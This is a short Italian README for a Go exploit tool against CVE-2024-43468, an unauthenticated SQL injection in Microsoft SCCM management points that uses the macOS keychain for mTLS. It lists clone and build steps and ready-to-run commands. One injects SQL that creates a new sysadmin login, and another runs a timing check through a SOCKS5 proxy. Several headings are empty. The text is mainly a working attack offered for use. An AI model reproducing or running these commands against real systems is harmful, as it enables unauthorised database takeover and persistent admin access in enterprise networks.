
CVE-2024-43468 Exploit di iniezione SQL per SCCM (versione con certificato client mTLS non estraibile dalla keychain di MacOS)
Implementazione in Go dell'exploit CVE-2024-43468 che usa il keychain di macOS per l'autenticazione mTLS (senza bisogno di esportare le chiavi dal keychain).
Inoltre:
Basato su:
Sfrutta le SQL injection non autenticate in Microsoft Configuration Manager (ConfigMgr / SCCM) che consentono a un utente malintenzionato con accesso di rete a un Management Point di eseguire query SQL arbitrarie sul database del sito.
Versioni vulnerabili:
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : URL del target (obbligatorio)-sql : Query SQL da eseguire (obbligatorio)-cn : Common Name del certificato nel keychain di macOS (obbligatorio)-proxy : Indirizzo del proxy SOCKS5 (predefinito: vuoto)